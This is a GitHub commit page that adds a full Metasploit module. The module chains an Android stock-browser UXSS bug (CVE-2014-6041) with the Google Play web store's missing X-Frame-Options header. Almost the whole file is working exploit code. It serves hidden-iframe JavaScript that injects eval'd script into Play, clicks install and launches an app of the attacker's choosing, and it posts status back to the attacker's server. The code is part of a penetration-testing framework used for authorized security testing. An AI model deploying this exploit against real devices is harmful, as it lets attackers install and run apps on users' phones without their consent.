Skip to content

Commit 7f2add2

Browse files
author
Tod Beardsley
committed
Land rapid7#4742, Play Store XFO + UXSS Android RCE
2 parents bea9e2f + 1e8f98c commit 7f2add2

File tree

1 file changed

+184
-0
lines changed

1 file changed

+184
-0
lines changed
Lines changed: 184 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,184 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpServer::HTML
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Android Browser RCE Through Google Play Store XFO',
16+
'Description' => %q{
17+
This module combines two vulnerabilities to achieve remote code
18+
execution on affected Android devices. First, the module exploits
19+
CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in
20+
versions of Android's open source stock browser (the AOSP Browser) prior to
21+
4.4. Second, the Google Play store's web interface fails to enforce a
22+
X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be
23+
targeted for script injection. As a result, this leads to remote code execution
24+
through Google Play's remote installation feature, as any application available
25+
on the Google Play store can be installed and launched on the user's device.
26+
27+
This module requires that the user is logged into Google with a vulnerable browser.
28+
29+
To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.
30+
},
31+
'Author' => [
32+
'Rafay Baloch', # Original UXSS vulnerability
33+
'joev' # Play Store vector and Metasploit module
34+
],
35+
'License' => MSF_LICENSE,
36+
'Actions' => [[ 'WebServer' ]],
37+
'PassiveActions' => [ 'WebServer' ],
38+
'References' => [
39+
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/09/15/major-android-bug-is-a-privacy-disaster-cve-2014-6041'],
40+
[ 'URL', 'http://1337day.com/exploit/description/22581' ],
41+
[ 'OSVDB', '110664' ],
42+
[ 'CVE', '2014-6041' ]
43+
],
44+
'DefaultAction' => 'WebServer'
45+
))
46+
47+
register_options([
48+
OptString.new('PACKAGE_NAME', [
49+
true,
50+
'The package name of the app on the Google Play store you want to install',
51+
'com.swlkr.rickrolld'
52+
]),
53+
OptString.new('ACTIVITY_NAME', [
54+
true,
55+
'The name of the activity in the apk to launch',
56+
'com.swlkr.rickrolld/.RickRoll'
57+
]),
58+
OptBool.new('DETECT_LOGIN', [
59+
true, "Prevents the exploit from running if the user is not logged into Google", true
60+
]),
61+
OptBool.new('HIDE_IFRAME', [
62+
true, "Hide the exploit iframe from the user", true
63+
])
64+
], self.class)
65+
end
66+
67+
def on_request_uri(cli, request)
68+
print_status("Request '#{request.method} #{request.uri}'")
69+
70+
if request.method.downcase == 'post'
71+
print_error request.body[0..400]
72+
send_response_html(cli, '')
73+
else
74+
print_status("Sending initial HTML ...")
75+
send_response_html(cli, exploit_html)
76+
end
77+
end
78+
79+
def exploit_html
80+
<<-EOS
81+
<html>
82+
<body>
83+
<script>
84+
85+
var APP_ID = '#{datastore['PACKAGE_NAME']}';
86+
var MAIN_ACTIVITY = '#{datastore['ACTIVITY_NAME']}';
87+
var HIDDEN_STYLE = '#{hidden_css}';
88+
89+
function exploit() {
90+
91+
var src = 'https://play.google.com/store/apps/'+(new Array(2000)).join('aaaaaaa');
92+
var frame = document.createElement('iframe');
93+
frame.setAttribute('src', src);
94+
frame.setAttribute('name', 'f');
95+
frame.setAttribute('style', HIDDEN_STYLE);
96+
function uxss(src) {
97+
window.open('\\u0000javascript:eval(atob("'+ btoa(src) +'"))', 'f');
98+
}
99+
100+
var loaded = false;
101+
frame.onload = function() {
102+
if (loaded) return;
103+
loaded = true;
104+
setTimeout(function(){
105+
uxss('history.replaceState({},{},"/"); x=new XMLHttpRequest;x.open("GET", "/store/apps/details?id='+APP_ID+'");x.onreadystatechange=function(){'+
106+
'if(x.readyState==4){ document.open("text/html"); document.write(x.responseText); document.close(); top.postMessage("1", "*") }};x.send();');
107+
}, 100);
108+
};
109+
110+
var i1, i2;
111+
var w = window;
112+
window.onmessage = function(event) {
113+
if (event.data === '1') {
114+
i1 = w.setInterval(function(){
115+
uxss('document.body.innerHTML.match(/This app is compatible/).length; document.querySelector("button.price").click(); top.postMessage("2", "*");');
116+
}, 500);
117+
} else if (event.data === '2') {
118+
w.clearInterval(i1);
119+
i2 = setInterval(function(){2
120+
uxss('document.querySelector("button.play-button.apps.loonie-ok-button").click(); top.postMessage("3", "*");');
121+
}, 500);
122+
} else if (event.data === '3') {
123+
clearInterval(i2);
124+
setTimeout(function(){
125+
setInterval(function(){
126+
frame.src = 'intent:launch#Intent;SEL;component='+MAIN_ACTIVITY+';end';
127+
}, 500);
128+
}, 1000);
129+
}
130+
}
131+
132+
document.body.appendChild(frame);
133+
}
134+
135+
#{detect_login_js}
136+
137+
</script>
138+
139+
</body>
140+
</html>
141+
EOS
142+
end
143+
144+
def detect_login_js
145+
if datastore['DETECT_LOGIN']
146+
%Q|
147+
var img = document.createElement('img');
148+
img.onload = exploit;
149+
img.onerror = function() {
150+
var url = '#{backend_url}';
151+
var x = new XMLHttpRequest();
152+
x.open('POST', url);
153+
x.send('Exploit failed: user is not logged into google.com')
154+
};
155+
img.setAttribute('style', HIDDEN_STYLE);
156+
var rand = '&d=#{Rex::Text.rand_text_alphanumeric(rand(12)+5)}';
157+
img.setAttribute('src', 'https://accounts.google.com/CheckCookie?continue=https%3A%2F%2Fwww.google.com%2Fintl%2Fen%2Fimages%2Flogos%2Faccounts_logo.png'+rand);
158+
document.body.appendChild(img);
159+
|
160+
else
161+
'exploit();'
162+
end
163+
end
164+
165+
def hidden_css
166+
if datastore['HIDE_IFRAME']
167+
'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px;visibility:hidden;'
168+
else
169+
''
170+
end
171+
end
172+
173+
def backend_url
174+
proto = (datastore["SSL"] ? "https" : "http")
175+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
176+
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
177+
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
178+
end
179+
180+
def run
181+
exploit
182+
end
183+
184+
end

0 commit comments

Comments
 (0)